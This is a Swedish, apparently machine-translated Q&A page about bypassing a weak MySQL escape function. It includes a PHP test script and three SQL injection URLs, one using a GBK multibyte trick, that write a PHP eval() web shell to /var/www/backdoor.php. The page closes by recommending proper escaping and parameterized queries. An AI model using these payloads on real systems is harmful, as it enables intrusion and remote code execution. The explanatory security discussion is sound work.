sql >> Databasteknik >  >> RDS >> Mysql

Hittade en svag escape-funktion för MySql, hur utnyttjar jag?

Om du är bara ersätter ' med '' då kan du utnyttja detta genom att injicera en \' som kommer att förvandlas till en \'' och detta kommer att tillåta dig att bryta ut eftersom detta ger dig en "karaktär bokstavlig" enstaka citat och ett riktigt enstaka citat. Men ersättningen av "\\" med "\\\\" förnekar denna attack. Dubbel-enkel-citattecken används för att "undkomma" enkla citattecken för MS-SQL, men detta är inte lämpligt för MySQL, men det kan fungera.

Följande koder bevisar att denna utrymningsfunktion är säker för alla utom tre tillstånd . Den här koden permuterar alla möjliga varianter av kontrollcharter och testar var och en för att säkerställa att ett fel inte uppstår med ett enda citat inkapslat select-sats. Denna kod testades på MySQL 5.1.41.

<?php
mysql_connect("localhost",'root','');
function escape($value) {

  $value = str_replace("'","''",$value);
  $value = str_replace("\\","\\\\",$value);
  return $value;

}

$chars=array("'","\\","\0","a");

for($w=0;$w<4;$w++){
    for($x=0;$x<4;$x++){
        for($y=0;$y<4;$y++){
            for($z=0;$z<4;$z++){
                mysql_query("select '".escape($chars[$w].$chars[$x].$chars[$y].$chars[$z])."'") or die("!!!! $w $x $y $z ".mysql_error());
            }       
        }
    }
}
print "Escape function is safe :(";
?>

Sårbart tillstånd 1:inga citattecken används.

mysql_query("select username from users where id=".escape($_GET['id']));

Utnyttja:

http://localhost/sqli_test.php?id=union select "<?php eval($_GET[e]);?>" into outfile "/var/www/backdoor.php"

Sårbart tillstånd 2:dubbla citattecken används

mysql_query("select username from users where id=\"".escape($_GET['id'])."\"");

Utnyttja:

http://localhost/sqli_test.php?id=" union select "<?php eval($_GET[e]);?>" into outfile "/var/www/backdoor.php" -- 1

Sårbart tillstånd 2:enkla citattecken används, men en alternativ teckenuppsättning används. .

mysql_set_charset("GBK")
mysql_query("select username from users where id='".escape($_GET['id'])."'");

Utnyttja:

http://localhost/sqli_test.php?id=%bf%27 union select "<?php eval($_GET[e]);?>" into outfile "/var/www/backdoor.php" -- 1

Slutsatsen är att alltid använda mysql_real_escape_string() som flyktrutinen för MySQL. Parameteriserade frågebibliotek som pdo och adodb använder alltid mysql_real_escape_string() när den är ansluten till en mysql-databas. addslashes() är MYCKET BÄTTRE av en escape-rutin eftersom den tar hand om sårbart tillstånd 2. Det bör noteras att inte ens mysql_real_escape_string() kommer att stoppa villkor 1, men ett parameteriserat frågebibliotek kommer att göra det.



  1. Återställ databas i WAMP

  2. Referera till ett alias någon annanstans i SELECT-listan

  3. Hur man infogar json output i mysql med node js

  4. Hur kör man en lagrad procedur varje dag i SQL Server Express Edition?